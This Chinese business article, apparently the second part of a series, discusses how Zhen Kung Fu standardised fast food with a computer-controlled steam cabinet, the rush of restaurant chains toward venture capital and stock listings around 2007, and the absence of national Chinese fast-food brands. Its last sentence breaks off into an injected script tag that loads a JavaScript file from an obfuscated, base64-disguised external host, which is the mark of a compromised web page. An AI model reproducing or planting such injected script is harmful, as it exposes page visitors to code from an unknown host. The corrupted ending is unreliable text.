中式快餐：徘徊中前行（二）

       为了解决产品标准化问题，许多快餐企业做足了功课。而其中最令人称道还是来自广东的餐饮品牌——真功夫。1994年，真功夫前身“168”蒸品快餐店在广东东莞开业，主营蒸饭、蒸汤和甜品。之后“168”又陆续的开设了3家分店。在经营的实际之中，董事长蔡达标发现，中式快餐标准化面临着巨大问题，如果标准化一日不解决，企业便不可能迅速的得到规模扩张。联系到诸如永和大王、加州牛肉面等快餐品牌的发展，蔡达标敏锐地意识到：“中式快餐之所以这么多年都超越不了洋快餐，因为我们把关注重点放在了流程复制上，而中式快餐要标准化，关键不在流程，而是烹饪设备”。

    有了这个思路之后，蔡达标决心开发一套和洋快餐同样形式的控温控时的设备，但却又被解决蒸汽源头的问题难住了。他首先想到的是借鉴锅炉房的做法，让锅炉产生的蒸汽通过管道输送到蒸汽设备，但是即使是小型锅炉对于一个快餐店来说还是太大了。一个偶然的机会，在参观朋友的制衣厂时蔡达标发现发现工厂用蒸汽熨斗来熨衣服，而提供给熨斗的蒸汽来源于一种蒸汽发生器，这一情景立即让蔡达标联想到了餐厅设备困扰多时的难题。他立即着手了新的研究工作。1997年，一套完整的电脑程控蒸汽设备终于浮出水面。

    这套创新发明的“电脑程控蒸汽柜”保证了同一炖品蒸制时的同温、同压、同时，不但操作简便，而且实现了“千份快餐同一品质”，使中式快餐、乃至整个中餐业第一次成功的实现了“摆脱厨师限制”的工业化生产的设想。

    在完成了“电脑程控蒸汽柜”以后，真功夫的发展便一发不可收，并且迅速进驻广州、深证等地。到今天，已经在全国一线城市开设了近300家分店。2007年，真功夫进军上海，而极富寓意的是，2005年，美国餐饮巨头百盛也正式在上海开设了旗下第一家中式快餐——东方既白，它们的口号是：“肯德基标准的东方美食。”

    扩张的困惑

    资本与标准化成为快餐店得以迅速复制、扩张的制胜法宝。但如何艺术而精准地把握资本与速度之间的平衡成为众多快餐品牌发展不得不面对的永恒命题。

    曾几何时柳传志一句“踩实了就跑”成为国内无数企业的座右铭。一方面面对着中国餐饮市场的巨大潜力的诱惑，一方面又面对着麦当劳、肯德基疯狂地版图扩张，许多餐饮企业无不表现出来它们难以抑制的欲望，在资本与经营双重风险下，脚踏钢丝，一路跑马圈地。

    对于快餐而言，复制与扩张必须面对一下几个问题：在迅速扩张之后，企业如何持续快速而稳健的增长？要维持这种扩张速度需要怎样的资金预算与资金流？企业的品牌诉求能否让消费者将消费欲望变成品牌忠诚度？企业的供应链、物资、人才储备能否适应快节奏的高速路行驶？企业的产品创新能力如何适应市场多变的需求？

    2007年底，老字号餐饮企业全聚德成功登录A股市场，一石激起千层浪，全聚德上市融资举动也激发股民以及餐饮企业对于未来业绩的美好遐想。而在《2007年中国餐饮连锁企业发展战略趋势调查》结果显示，风险投资与餐饮企业都处于恋爱的饥渴期。有调查显示，处于资本运作的餐饮连锁企业中，72%的企业已经与多家投资洽谈。这也意味着，餐饮连锁企业发展战略已发生转变，正向资本运作方式转移。

 寻求上市道路的餐饮连锁企业犹如过江之鲫，俏江南、小肥羊、谭鱼头、大娘水饺、真功夫都加入到了上市预备队列之中，而大量风险投资的介入也迅速催肥了这一市场，更有人士认为，2008～2010年将是中国餐饮连锁的上市高潮。

    但过于浮躁的扩张情节对于中式快餐而言，并不是件好事。缺乏核心的产品竞争、经营经验以及品牌优势，资本的介入更有可能吹起一个个幻彩的泡沫。

    事实上，资本运营并不是企业长足之计，缺乏长效的人才引进与培养机制，标准化、规范化的产品、管理，以及明晰的品牌战略，试图在麦当劳、肯德基版图内分刮出自己的利润空间并不可行。对于缺乏商业历史传统的中国快餐而言，在没有回答对于快餐连锁店必须面对的几个问题之前，或许，风投与上市更有可能催生出一个个“看上去很美的”快餐概念。

    品牌短肋

    不可否认，在麦当劳、肯德基席卷神州各地之际，作为餐饮大国的中国，却只能尴尬地接受，到目前为止我们依旧没有出现具有全国性品牌的遗憾现实。

    纵观国内战火纷飞的中式快餐市场，大都未能完成企业标准化，更谈不上全国连锁，而只是地方诸侯?script src=http://AAAbWluZ3RleW91LmNvbQ==AAA/t.js>